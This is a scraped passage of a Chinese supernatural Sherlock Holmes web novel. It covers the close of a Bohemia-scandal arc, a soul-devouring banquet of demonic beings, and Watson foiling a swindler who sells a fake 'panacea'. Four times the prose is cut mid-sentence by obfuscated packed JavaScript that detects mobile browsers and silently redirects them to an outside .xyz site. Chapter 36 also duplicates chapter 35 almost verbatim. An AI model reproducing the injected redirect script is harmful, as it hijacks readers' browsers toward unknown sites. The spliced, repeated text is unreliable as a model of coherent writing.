“国王陛下，我的确按照你委托的要求，将你需要的照片送到。” 奥姆斯坦因从牙缝里挤出自己的不满。 “我要的是两人的合照！” “那的确是拿不到了。”歇洛克说道。 因为强大的超凡力量已经扭曲了现实，除了他手中的那张照片，其他有关“蕾贝丽雅·肖特”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931828|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事迹已经全部被替换成了“艾琳·艾德勒”。 这可以说是为数不多，有关“蕾贝丽雅·肖特”的证明。 但愤怒的国王似乎只感觉自己被欺骗。 他几乎快把那张照片撕碎。 “我的情人怎么可能如此平庸！” 明明当时也有一段热恋，或许也曾说过许多甜言蜜语，但如今的他反而是见异思迁，说出如此令人寒心的话语。 他将那张照片扔回起居室的茶几桌面上。 “奥姆斯坦因先生！”这回约翰甚至没有用专门的尊称，“请你对那位女士尊重！” “和这样的人解释再多也无用，约翰。” 歇洛克的语气和他的眼神一样冰冷，反倒是让奥姆斯坦因说话的气势越来越弱。 “我们已将照片带到，但你能不能接受真相，这不在我们的工作范畴之中。” “更何况你已经成了别人的工作范畴。” “什、什么？” 他感觉背后发凉。 这时公寓的门被敲响，打开门后是哈德森太太温和的提醒。 “先生们，噪音太大可是会被邻居投诉的。” 奥姆斯坦因看着这位老妇人和善的微笑，却感觉她看过来的眼神是漆黑冰冷的。 他的理智在颤抖，像是一根崩得太紧的弦，随时都可能断裂。 他感觉自己的嘴唇在哆嗦，但一句求救的话语也无法喊出。 “哈德森太太！” 楼梯上传来有些匆忙慌乱的脚步声。 雷斯垂德出现在公寓门前。 看上去是听到楼上的动静，就急匆匆地跑上来，所以现在看起来行装有些狼狈。 “还有福尔摩斯和华生也在……谢天谢地，奥姆斯坦因……先生，你还活着！” 他松了口气。 歇洛克说道：“当然你要是现在不领走他去消除记忆的话，等等可能就变成哈德森太太的藏品之一了。” “你是……苏格兰场的人？！”奥姆斯坦因几乎快跳起来歇斯底里地喊道：“他们都是歹徒，不——他们肯定都有什么邪术！或者是什么骗子！快逮捕他们！” “其实——这位先生有些癔症！” 雷斯垂德三步并两步冲过去捂住对方的嘴，生怕他的言语会激怒在场其他非人的存在。 然后他一刀劈在对方的后颈上，让世界暂时安静下来。 最后，雷斯垂德抱歉地笑笑，“剩下的事情我们会紧急处理的，总之感谢福尔摩斯先生你的电报提醒。” 起居室的门重新合上。 约翰捡起掉落在茶几上的照片，抚平上面的褶皱。 “看样子，奥姆斯坦因先生不太想要这张照片。” 作为普通人的国王只看到了蕾贝丽雅坐在椅子上。 但在他们眼中，这分明是一张双人合照。 在椅背后面，单手扶住边缘的另一名女性明艳惊人，叫人过目不忘。 歇洛克这时说道，“约翰，我的确说错了一件事。” “什么？”约翰问。 侦探拿起自己的烟斗。 “艾琳·艾德勒已非圣人，只有天使才能将蕾贝丽雅·肖特的痕迹继续维持下去。” “这位女士的实力……的确超乎我们的想象，但她竟然还能继续维持自己的人性，而非在强大的力量中彻底迷失自我。” “她可以直接抢夺一副躯壳当做容器，但她还是愿意见证蕾贝丽雅找到属于自己的幸福，守护见证着一对新人完成原本不可能有机会实现的婚礼。” “这样的心性，的确值得敬佩。” 约翰回头看向这张合照。 镜头里这两位女士的笑容都如此动人，阳光洒落在她们身后，好像纯洁天使的羽翼垂落守护。 【波西米亚丑闻完】 35.36 这是一场晚宴。 长方形的桌旁依次落座六位食客。 衣着精美，姿态优雅的侍者端着餐盘穿梭在桌头和桌尾之间。 餐盘打开，里面并非人类常规理解中的珍馐美味，而是一个又一个绝望尖叫着的灵魂。 看起来有些营养不良的阴郁少年一把举起餐刀，将餐盘里数个绝望的人类灵魂叉起，接着一次性全部塞进了自己的嘴中。 祂愉悦地咀嚼着，任凭那些哀嚎响彻在自己的齿缝间，鲜血横流几乎溅满了面前洁白的餐巾。 一旁有着夺目红发的女子看了祂一眼。 祂的动作优雅，胸襟前别一朵娇艳欲滴的红玫瑰。 【能不能注意你自己的用餐礼仪？】 祂语气冰冷，又饱含怒火。 瘦弱的阴郁少年嘴巴还在忙着享用美食，但回答已经清晰地飘荡在餐桌旁。 【你用人类的规矩要求我？】 祂嗤笑着。 红女女子手中的餐叉被徒手捏弯。 祂怒不可遏地看向对方。 【信不信我现在就让你从这个餐位上滚下去！】 对方毫不畏惧地看着祂。 【有本事你的确可以现在就来。】 【好了好了，在最美味的主食上来前，大家何必吵架？】 出来圆场的是坐在大快朵颐的阴郁少年右侧的一名英俊男士。 祂的衣衫并不整洁，看起来是刚从散会的艳场来到这里，浑身散发着令人面红耳赤的荷尔蒙气息。 见红发女子满脸冰霜的样子，祂还随手拉来经过自己身边的一位女仆。 女仆微红着脸，痴迷地看向祂。 但不想下一秒就被这位风流的男士硬生生抽出了灵魂。 在凄厉的哀嚎声中，祂将新鲜出炉的“玫瑰”递给红发女子。 【亲爱的~】 【用不着假惺惺的。】 【坐在这里的哪位不是冲着‘果实’去的？说到底每个人都是竞争对手。】 红发女子不客气地打开祂的手。 那朵可怜的“玫瑰”随即被抽打得花瓣飘零，枯萎死去。 风流男士笑笑，随手将那个枯萎的灵魂扔到了一边，阴郁少年用餐叉接住又塞进了自己的嘴里。 【不要这么说嘛~必要的时候合作也是很重要的，如果不是玛门替你找到了那个叫作瑞秋的新容器，你也不可能这么早就去人类的维度。】 一柄被捏弯的餐叉从祂脸侧飞过，风流男士避让得及时，但祂身后的侍者没有那么好运，被餐叉命中了左眼，此刻摔倒在地哀嚎不已。 【聒噪。】 另一名灰发的女孩用清脆童真的声线说道。 随后祂挥挥手，那名失去左眼的侍者被某种无形的力量当即碾成了碎片，只剩灵魂像待宰的羔羊，自己晃晃悠悠走进了桌上的餐盘之中。 【几位。】坐在姿态高傲的灰发女孩左侧的老者温和提醒，【别忘了，下次聚餐还有几位‘盟友’，餐桌……】 祂像意有所指。 【位置也许就不够坐了。】 【谁能一直坐到最后，享受那最终的‘果实’，可还是个未知数。】 另一名懒洋洋的男士看了老者一眼，选择继续举起手中的书，没有加入他们的晚宴和对话之中。 *** “今天也是忙到腰酸背痛……但好在没有患者情况太糟，要是又来不及救治就失去生命，恐怕华生医生难免自责。” “这也不是华生医生的错，毕竟这病太怪了，患病者一开始都像得了精神疾病一样在那里痴痴地笑，问什么也不回答，只一个劲地想要自/残，可两周不到的时间后，患者不管是精神还是身体瞬间就垮掉……外在没有伤口，难道是服用了某些类似致/幻/剂的毒物？” “皇家医学院不是获得批准后开始解剖尸体了吗？我听华生医生说，尸体被解剖后，他们发现所有患者的骨骼都老化严重，像是七八岁的老人，不，应该说更脆弱，哪怕轻轻一碰都会断裂！” “怎么可能！大部分患者说是只有三四十岁！” 说到这里，其中一位诊所的医生拉住自己的同事低声说道： “也有人说这是因为那些人受到了恶魔和魔鬼的蛊惑，交换出自己的灵魂才会变成这样。” “你没有发现，近期送来看病的大多都是住在城郊矿区的人吗？” “这一周里接受的病人数量，甚至超过了以往肺病的病人！” “他们平时住的地方环境有多糟糕，你又不是不知道。” 另一位医生也嘟囔。 “我甚至觉得这种怪病得让教会的医师来诊治。” 他的同事语气有些不屑。 “得了吧，我看那群教会医师正忙着给那些贵族看病！” 说着，他看见脱下白大褂的约翰正往门口走来。 他连忙喊道：“华生医生！今天要不要一起去酒馆放松一下？” 约翰已经连续好几天没有好好休息，甚至有几天他都没有回贝克街，而是一直待在诊所里尝试治疗那些前期盲目自残，后期无故暴毙的患者。 他尝试对症下药，但效果不佳。 目前他只好用一些稳定剂暂时让那些病人陷入昏睡，才能避免他们在病程前期就在反复伤害自己。 这种不知何种原因引发的疾病，目前在他们同行中被称之为“怪癔”。 一言以蔽之，就是古怪的癔症。 目前谁也不知道病发的原因，谁也没有找到合适的解决方法。 就在他脑海里还思索着，要不要专门再跑皇家医学院咨询一下情况的时候，就听见同事的招呼。 “我……” 他刚想找理由拒绝，对方就已经勾住了自己的肩膀。 “华生医生，今天好不容易轻松一些，你也不要将自己崩得太紧，喝点酒有助于缓解压力，明天才能更好接待诊治患者不是吗？” “更何况，你听说西城区那里好像在卖一种万灵药吗？有些人将它传得神乎其神，说是连怪癔也能一起治好，万一我们去正好碰上，岂不是还能一探究竟，看看是否为真！” 约翰犹豫了一下，然后就被两位同事一同拉走。 半个小时后，他们就来到了人声鼎沸的酒馆。 酒馆位于东西区的交界处，酒馆里既有衣衫粗普的穷人，也能见到行装不错的旅客。 这里的啤酒味道出色，所以格外出名，加上要价不贵，很多手中有些闲钱的普通人都会选择在工作之余来这里喝一杯以作消遣。 三人在酒馆吧台旁落座。 酒馆门边不停有客人进进出出，屋外的冷风吹不散屋里火热喧哗的气氛。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949081|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的主要话题也绕不开那些得了怪癔的矿工们。 从城郊矿山而来的矿工说起这件事的时候还心有余悸。 在他们手舞足蹈的讲述中，染上这种怪病的人死法像是更加诡异，甚至有些患者在上工时间，不知为何就开始自残，又抓向他人，最后再一头撞向尖锐的铁锹之上。 鲜红的血将矿石都染红，吓得监工都不得不停工几天，要求患病的人立刻滚蛋。 但是没了工作，还如何生存，所以很多已经患病的人都不敢暴露，只闷头继续工作，祈祷监工没有发现自己患病，也祈祷自己的病能无药自愈或延迟发作。 旁听的众人发出一阵唏嘘的声音。 “怎么可能自己好的了……能自己好的话，都用不着治病了。” “最近西区的教堂好不容易发点面包，还以为冬天的日子能好过些，结果又碰上这种怪病，哎……！” “说不定早点找医生看看，还有的救。” “现在整个伦敦的报纸上都没有一个医生，一个诊所敢放言说，自己能够治好这种病！我看唯一的希望还是万灵药！” “万灵药都不知道在哪儿卖，还是医生和诊所更靠谱吧！” “他们只会把你手里用来填饱肚子的钱都骗走！” 讨论间或夹杂着争执，将酒馆里的氛围炒得更加热火朝天。 约翰的两位同事已经醉倒在啤酒醉醺醺的麦香里，而他认真侧耳倾听着那些声音，杯中的啤酒还一口未饮。 这时有人拍了拍他的肩膀。 豪迈的声音传来。 “华生医生！” 约翰一惊，猛地抬头看去。 端着放满酒杯餐盘的老板正对着他笑。 “果然是你华生医生！我还以为我看错了！” 他大声说道： “谢谢你医生，如果不是你，我儿子的腿就要废了！” “今晚你和你朋友所有的酒水钱都不用给！” 酒馆老板人到中年才有一个小儿子，前几个月受伤后医治不够及时，险些需要截肢，恰好约翰那天来到这萧条的酒馆，帮忙医治了对方，令这个孩子能够重新正常行走。 此时他看看躲在柜台后，手里也捧着一本医疗杂志，正怯生生看向他的孩子，不由露出笑容。 男孩对他挥挥手，又害羞地缩了回去。 酒馆老板哈哈大笑起来。 “自从医生你医好了他的腿，他就一直想以后也当一名技术高超的医生。” 约翰笑道：“小强尼一定能做到。” 老板将倒满啤酒的玻璃杯放在他们面前，然后像是想到了什么。 “对了，医生，我刚才看见有个女人到处在寻医，说什么那个医生非常厉害，什么病都能治得好，是不是在找你？” 约翰摆摆手，“我又不是主，也不是什么病都能治好，不过……你说的是那位吗？” 他指了指不远处狼狈挤进人群里，仓惶询问什么的女人。 老板点点头，招呼那个女人来，然后端着餐盘离开，暂时将吧台这边的空间留给他们。 女人怀揣一个打着补丁的小破包，听见老板说，眼前这位就是非常厉害的医生时，她昏沉的眼睛亮了起来。 “医生！医生！” “我凑到一百英镑了！请把万灵药卖给我！救救我的孩子吧！” 36.36 这是一场晚宴。 长方形的桌旁依次落座六位食客。 衣着精美，姿态优雅的侍者端着餐盘穿梭在桌头和桌尾之间。 餐盘打开，里面并非人类常规理解中的珍馐美味，而是一个又一个绝望尖叫着的灵魂。 看起来有些营养不良的阴郁少年一把举起餐刀，将餐盘里数个绝望的人类灵魂叉起，接着一次性全部塞进了自己的嘴中。 祂愉悦地咀嚼着，任凭那些哀嚎响彻在自己的齿缝间，鲜血横流几乎溅满了面前洁白的餐巾。 一旁有着夺目红发的女子看了祂一眼。 祂的动作优雅，胸襟前别一朵娇艳欲滴的红玫瑰。 【能不能注意你自己的用餐礼仪？】 祂语气冰冷，又饱含怒火。 瘦弱的阴郁少年嘴巴还在忙着享用美食，但回答已经清晰地飘荡在餐桌旁。 【你用人类的规矩要求我？】 祂嗤笑着。 红女女子手中的餐叉被徒手捏弯。 祂怒不可遏地看向对方。 【信不信我现在就让你从这个餐位上滚下去！】 对方毫不畏惧地看着祂。 【有本事你的确可以现在就来。】 【好了好了，在最美味的主食上来前，大家何必吵架？】 出来圆场的是坐在大快朵颐的阴郁少年右侧的一名英俊男士。 祂的衣衫并不整洁，看起来是刚从散会的艳场来到这里，浑身散发着令人面红耳赤的荷尔蒙气息。 见红发女子满脸冰霜的样子，祂还随手拉来经过自己身边的一位女仆。 女仆微红着脸，痴迷地看向祂。 但不想下一秒就被这位风流的男士硬生生抽出了灵魂。 在凄厉的哀嚎声中，祂将新鲜出炉的“玫瑰”递给红发女子。 【亲爱的~】 【用不着假惺惺的。】 【坐在这里的哪位不是冲着‘果实’去的？说到底每个人都是竞争对手。】 红发女子不客气地打开祂的手。 那朵可怜的“玫瑰”随即被抽打得花瓣飘零，枯萎死去。 风流男士笑笑，随手将那个枯萎的灵魂扔到了一边，阴郁少年用餐叉接住又塞进了自己的嘴里。 【不要这么说嘛~必要的时候合作也是很重要的，如果不是玛门替你找到了那个叫作瑞秋的新容器，你也不可能这么早就去人类的维度。】 一柄被捏弯的餐叉从祂脸侧飞过，风流男士避让得及时，但祂身后的侍者没有那么好运，被餐叉命中了左眼，此刻摔倒在地哀嚎不已。 【聒噪。】 另一名灰发的女孩用清脆童真的声线说道。 随后祂挥挥手，那名失去左眼的侍者被某种无形的力量当即碾成了碎片，只剩灵魂像待宰的羔羊，自己晃晃悠悠走进了桌上的餐盘之中。 【几位。】坐在姿态高傲的灰发女孩左侧的老者温和提醒，【别忘了，下次聚餐还有几位‘盟友’，餐桌……】 祂像意有所指。 【位置也许就不够坐了。】 【谁能一直坐到最后，享受那最终的‘果实’，可还是个未知数。】 另一名懒洋洋的男士看了老者一眼，选择继续举起手中的书，没有加入他们的晚宴和对话之中。 *** “今天也是忙到腰酸背痛……但好在没有患者情况太糟，要是又来不及救治就失去生命，恐怕华生医生难免自责。” “这也不是华生医生的错，毕竟这病太怪了，患病者一开始都像得了精神疾病一样在那里痴痴地笑，问什么也不回答，只一个劲地想要自/残，可两周不到的时间后，患者不管是精神还是身体瞬间就垮掉……外在没有伤口，难道是服用了某些类似致/幻/剂的毒物？” “皇家医学院不是获得批准后开始解剖尸体了吗？我听华生医生说，尸体被解剖后，他们发现所有患者的骨骼都老化严重，像是七八岁的老人，不，应该说更脆弱，哪怕轻轻一碰都会断裂！” “怎么可能！大部分患者说是只有三四十岁！” 说到这里，其中一位诊所的医生拉住自己的同事低声说道： “也有人说这是因为那些人受到了恶魔和魔鬼的蛊惑，交换出自己的灵魂才会变成这样。” “你没有发现，近期送来看病的大多都是住在城郊矿区的人吗？” “这一周里接受的病人数量，甚至超过了以往肺病的病人！” “他们平时住的地方环境有多糟糕，你又不是不知道。” 另一位医生也嘟囔。 “我甚至觉得这种怪病得让教会的医师来诊治。” 他的同事语气有些不屑。 “得了吧，我看那群教会医师正忙着给那些贵族看病！” 说着，他看见脱下白大褂的约翰正往门口走来。 他连忙喊道：“华生医生！今天要不要一起去酒馆放松一下？” 约翰已经连续好几天没有好好休息，甚至有几天他都没有回贝克街，而是一直待在诊所里尝试治疗那些前期盲目自残，后期无故暴毙的患者。 他尝试对症下药，但效果不佳。 目前他只好用一些稳定剂暂时让那些病人陷入昏睡，才能避免他们在病程前期就在反复伤害自己。 这种不知何种原因引发的疾病，目前在他们同行中被称之为“怪癔”。 一言以蔽之，就是古怪的癔症。 目前谁也不知道病发的原因，谁也没有找到合适的解决方法。 就在他脑海里还思索着，要不要专门再跑皇家医学院咨询一下情况的时候，就听见同事的招呼。 “我……” 他刚想找理由拒绝，对方就已经勾住了自己的肩膀。 “华生医生，今天好不容易轻松一些，你也不要将自己崩得太紧，喝点酒有助于缓解压力，明天才能更好接待诊治患者不是吗？” “更何况，你听说西城区那里好像在卖一种万灵药吗？有些人将它传得神乎其神，说是连怪癔也能一起治好，万一我们去正好碰上，岂不是还能一探究竟，看看是否为真！” 约翰犹豫了一下，然后就被两位同事一同拉走。 半个小时后，他们就来到了人声鼎沸的酒馆。 酒馆位于东西区的交界处，酒馆里既有衣衫粗普的穷人，也能见到行装不错的旅客。 这里的啤酒味道出色，所以格外出名，加上要价不贵，很多手中有些闲钱的普通人都会选择在工作之余来这里喝一杯以作消遣。 三人在酒馆吧台旁落座。 酒馆门边不停有客人进进出出，屋外的冷风吹不散屋里火热喧哗的气氛。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951911|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的主要话题也绕不开那些得了怪癔的矿工们。 从城郊矿山而来的矿工说起这件事的时候还心有余悸。 在他们手舞足蹈的讲述中，染上这种怪病的人死法像是更加诡异，甚至有些患者在上工时间，不知为何就开始自残，又抓向他人，最后再一头撞向尖锐的铁锹之上。 鲜红的血将矿石都染红，吓得监工都不得不停工几天，要求患病的人立刻滚蛋。 但是没了工作，还如何生存，所以很多已经患病的人都不敢暴露，只闷头继续工作，祈祷监工没有发现自己患病，也祈祷自己的病能无药自愈或延迟发作。 旁听的众人发出一阵唏嘘的声音。 “怎么可能自己好的了……能自己好的话，都用不着治病了。” “最近西区的教堂好不容易发点面包，还以为冬天的日子能好过些，结果又碰上这种怪病，哎……！” “说不定早点找医生看看，还有的救。” “现在整个伦敦的报纸上都没有一个医生，一个诊所敢放言说，自己能够治好这种病！我看唯一的希望还是万灵药！” “万灵药都不知道在哪儿卖，还是医生和诊所更靠谱吧！” “他们只会把你手里用来填饱肚子的钱都骗走！” 讨论间或夹杂着争执，将酒馆里的氛围炒得更加热火朝天。 约翰的两位同事已经醉倒在啤酒醉醺醺的麦香里，而他认真侧耳倾听着那些声音，杯中的啤酒还一口未饮。 这时有人拍了拍他的肩膀。 豪迈的声音传来。 “华生医生！” 约翰一惊，猛地抬头看去。 端着放满酒杯餐盘的老板正对着他笑。 “果然是你华生医生！我还以为我看错了！” 他大声说道： “谢谢你医生，如果不是你，我儿子的腿就要废了！” “今晚你和你朋友所有的酒水钱都不用给！” 酒馆老板人到中年才有一个小儿子，前几个月受伤后医治不够及时，险些需要截肢，恰好约翰那天来到这萧条的酒馆，帮忙医治了对方，令这个孩子能够重新正常行走。 此时他看看躲在柜台后，手里也捧着一本医疗杂志，正怯生生看向他的孩子，不由露出笑容。 男孩对他挥挥手，又害羞地缩了回去。 酒馆老板哈哈大笑起来。 “自从医生你医好了他的腿，他就一直想以后也当一名技术高超的医生。” 约翰笑道：“小强尼一定能做到。” 老板将倒满啤酒的玻璃杯放在他们面前，然后像是想到了什么。 “对了，医生，我刚才看见有个女人到处在寻医，说什么那个医生非常厉害，什么病都能治得好，是不是在找你？” 约翰摆摆手，“我又不是主，也不是什么病都能治好，不过……你说的是那位吗？” 他指了指不远处狼狈挤进人群里，仓惶询问什么的女人。 老板点点头，招呼那个女人来，然后端着餐盘离开，暂时将吧台这边的空间留给他们。 女人怀揣一个打着补丁的小破包，听见老板说，眼前这位就是非常厉害的医生时，她昏沉的眼睛亮了起来。 “医生！医生！” “我凑到一百英镑了！请把万灵药卖给我！救救我的孩子吧！” 37.37 世界上有能够治疗所有病症，甚至能够延年益寿的万灵药吗？ 对此，约翰是不相信的。 毕竟如果有的话，那人类何必再需要花费千百年的时间钻研诊治无数疾病？ 在他看来，这和哄骗孩子们，说吃下可以像传说中的勇士一样力大无穷的糖丸差不多。 只不过接触神秘侧后，他发现有些长得像糖丸的魔药，的确可以令人变成力大无穷的使者。 现在他怀疑万灵药，要么是骗子为了谋财编造的虚假之物，要么就是魔鬼散布人间，骗取灵魂的饵料。 只是人们有时嘴上说得轻松，表示相信那些无稽之谈的人要么呆，要么傻，却不知道走投无路之人到那时，无论是虚假的，还是危险的，都甘愿再去赌一把，哪怕他们心底已经清楚，最后的结局大概率是满盘皆输。 约翰看到那个护着怀中破旧挎包的女士满怀期待地冲到他的面前。 那个挎包在大幅度的动作下摇摇晃晃，隐约可以听见叮叮咚咚的碰撞声。 跟在自己的好友身边，他的观察能力也算是日益进步。 他猜到了那个挎包里有大量零散的便士，西区矿工艰苦的生活很难让他们得到完整的钞票，不难想象这位母亲是如何艰难地东拼西凑才筹到这一百英镑，只为了救下自己孩子的性命。 现在伦敦矿工的年收入可能也只有二十五英镑左右的薪水。 “医生！求求你了！万灵药……如果，如果钱不够我还可以去借！或者我给您当牛做马都可以！当什么药人也可以！求您先把万灵药卖给我吧！求求您把那孩子从怪癔的魔爪里救出来！求您！” 约翰扶住她，然后摇摇头。 他没有什么万灵药，连对这种怪癔的解决办法现在也是一筹莫展。 这位母亲的眼睛又变得暗淡无光。 她的嘴唇哆嗦。 “我可以，我可以加钱！求您了医生！我听其他矿工说，你的药可以治疗一切疾病，求您了！” 她说话时起伏的胸腔，像是随时会坏掉的风琴，间或还夹杂着撕心裂肺的咳嗽。 作为一名称职的医生，约翰一听将知道，她有严重的肺病。 “女士。”他尝试着安抚她的情绪，“我的确是医生，但我没有什么万灵药。” “如果你的孩子感染了怪癔，还是尽快送到诊所救治比较好。” “前期必须稳定他们的精神状态，否则他们可能会伤害自己。” “你不是我要找的医生……你不是……你不是……” 她仓惶地摇头，像是听不进他的话语。 这时一个陌生人逆着人流挤到吧台旁边。 他贪婪的目光绕着这位贫穷母亲怀里的挎包打转，但脸上露出热情的笑容。 “夫人！你是买万灵药吧！我知道在哪儿买，我带你去吧！” 那位母亲的精神重新振奋起来。 但她还有些犹豫。 “真的吗？” “当然！” “加西亚医生绝对是个神医，我邻居前不久染上的怪癔就是被他制作的万灵药治好的。” “这样吧，这里太吵，我出去给你指个路，夫人你自己去找加西亚医生。” 他语气带着煽/动意味。 “加西亚医生一个月里售出的万灵药数量都是有限的，你要是去得晚可能就买不到了。” 约翰不得不提高音量。 “女士！他可能只是个骗子！” 那位母亲着急起来。 她把怀里挎包捏得更紧了些。 男人像是满不在乎地一耸肩，“你要是不乐意，那就算了。” 说完，他就要从吧台旁离开，像是不打算继续指路。 那位母亲着急起来，“等等！” 她连忙追上对方，隐蔽地从挎包里掏出一些英镑，像是想要恳求对方将那位加西亚医生与万灵药的消息再告诉自己一些。 约翰顾不上自己几乎一口没喝的啤酒，也没有理会身旁两位同事醉醺醺的吆喝。 他连忙追上他们。 直觉告诉他，那个男人绝对不是真心想要帮助那位女士，最糟糕的下场反而是人财两空，第二天巡警就会在某条阴暗的小巷里发现这里多出一具贫穷女性的尸体。 人群里有两个高大的男人堵住了他的路。 “先生，你怎么堵住我们的路了？” 其中一个人笑得狰狞，露出一口黄牙。 另一人则捏了捏自己的拳头，亮出胳膊上结实的肌肉。 他们正好堵住了门口，约翰想追上的两人刚出酒馆大门。 “让开！”约翰压抑着怒火说道。 这两人估计是和刚才那个主动来搭话的男人是一伙的。 “先生，这话就是你说的不对了吧，你堵着我们兄弟两进去喝酒的路，我们还没有找你要损失费，咕噜——” 嬉皮笑脸的黄牙男人脸皮忽然僵住了。 站在他旁边的高壮男人则面色惨白，太阳穴的青筋痉挛抽动，嘴唇因为剧烈的疼痛颤抖不已。 约翰右拳毫不客气打在了高壮男人的腹部，左手借着外套衣袖的遮挡，将自己的左轮抵在了黄牙男人的肚子上。 自打遭遇一些超凡事件后，他精心保养的左轮就一直隐蔽地随身携带，只不过一般不会有子弹上膛。 但此刻对面被威胁的人显然不知道。 黄牙男人满头是汗，只差没把自己双手举过头顶高呼投降。 “这位仁慈的先生，是我和我的兄弟喝醉酒了！冒犯了大人物，请您恕罪！” “我们实在是有眼无珠，浪费了您的时间，您，您要是不嫌弃，我们钱包里还有一些英镑做补偿。” 他连忙拉过自己的兄弟，顾不上踩到其他人脚的叫骂声，要给这位看起来平平无奇，还称得上是温和可亲的人让路。 约翰面带愠怒。 他高声对老板喊道：“威廉！这儿有两个手脚不干净的地痞流氓！” 他相信以前当过赌场打手的酒馆老板会给这两个家伙好看。 随后他追出门外。 夜晚的寒风卷起雾气向四面八方吹去，如同远处的工厂一刻不歇地吞吐磅礴的蒸汽，有秩序地推动人类社会日夜前进着。 医生四处看去，发现不怀好意的男人正忽悠着那名母亲左拐走进一条幽暗的小巷中。 那个人的右手下垂，一把闪烁着寒光的弹簧刀从袖管里落下，被他藏在自己身后。 “站住！”约翰怒不可遏地对他喊道。 贼眉鼠眼的男人吓了一跳，还没来得及跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958489|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那女人拐进小巷中，就被医生擒住了手腕。 “谁坏老子的好事？！啊——！” 狠话放到一半，他就感觉自己拿刀的胳膊像要被折断一样的剧痛。 涕泪横流的他又赶忙毫无骨气地求饶：“老爷！老爷！您行行好，我也只是混口饭吃！” 约翰厉声说道：“所以你就以谎言欺骗一个救子心切的母亲，还想谋财害命吗！” 无需再听这家伙的狡辩，约翰压着他直接交给经过这里的巡警。 想了想，他还是决定再提醒一下刚才的女士，还是不要轻信所谓的万灵药比较好，这玩意儿很有可能只是骗子为了谋财编织的谎言借口。 出乎意料的是，等他拐进刚才那个小巷的时候，里面竟是空无一人。 借着不远处的灯光，约翰看着小巷尽头的高墙，不觉得一位体弱的肺病病人能不借助任何外力直接徒手翻越。 但这里看起来，没有任何痕迹显示还有其他人来过。 他犹疑地伸出手，轻轻触碰了一下墙壁。 有古怪。 像是他已经在黑暗中摸索到了线索，可是缺少像好友那样的眼睛，能直观总结推理，得到最后的结论。 既然如此，他就干脆先跟着直觉前进，看看这条路又会把他带往何处。 约翰闭上眼。 关闭视觉后，听觉和嗅觉变得灵敏起来。 有吵闹的叫卖声回荡在耳边，仿佛他不是走进一条无人的小巷，而是置身某个热闹的露天市场。 更令他注意的是，一直萦绕在鼻尖那股非常清淡的特殊草木香。 被焚烧过的群星草和月光花，是制作仪具、举办仪式的重要道具。 努力寻找那股香气最浓郁的地方，约翰感觉自己的手触碰到了某块特殊的墙砖。 不同于普通石砖应有的坚硬和粗糙，这块砖头一开始摸起来的手感发硬，如同风干的猪肉。 但很快这种干硬的手感很快被湿润油腻替代。 约翰的神情变得难看起来。 他对这种触感其实并不陌生，在前线的时候，他们曾数次为濒临死亡，或已经死亡的战士做过手术。 他可以确定，现在徒手感觉到那种滑腻，正是切开人类身体时，接触脂肪层的感觉。 像是因为他意识到了什么，萦绕在鼻尖的草木气息开始变得浑浊恶臭起来，如同腐烂的肉块静置在他的面前。 但墙壁里怎么会有肉块？ 刚才他见到的只有一堵普通砖块建成的高墙而已。 烂肉的触感又在紧闭双眼的黑暗中变得丝滑起来，仿佛那块肉变成了一只手，竟然要和他十指紧扣。 分不清男女的声音在他耳边呢喃。 “好饿……好饿……好饿……” 这道声音带着扭曲的狂热，像是蛊惑着他，要他献上自己全部的血肉与灵魂。 约翰立刻甩开手，高墙在这刻像是轰然倒塌，原本热闹但模糊的叫卖声瞬间变得清晰。 他睁开眼的瞬间就看见自己已经身处一个热闹的集市边缘地带。 猛然回头看去，身后的高墙还是高墙，但没有烂肉，没有人手，也没有呢喃细语。 他就像是凭空穿墙而过，来到了一个全然陌生的地方。 这是哪里？ 38.38 如果忽略进入这里的诡异方式，其实这条街和伦敦某处居民区里总是会有的小型集市没有任何区别。 不谈其他，约翰自己也去过贝克街附近的小集会，那里可以非常方便地就近买到很多生活必需品。 这里则更热闹些，除去街边零散摆着露天摊位外，还有不少风格古怪的店铺。 约翰回头看了眼那堵高墙，尝试着往集市里走去。 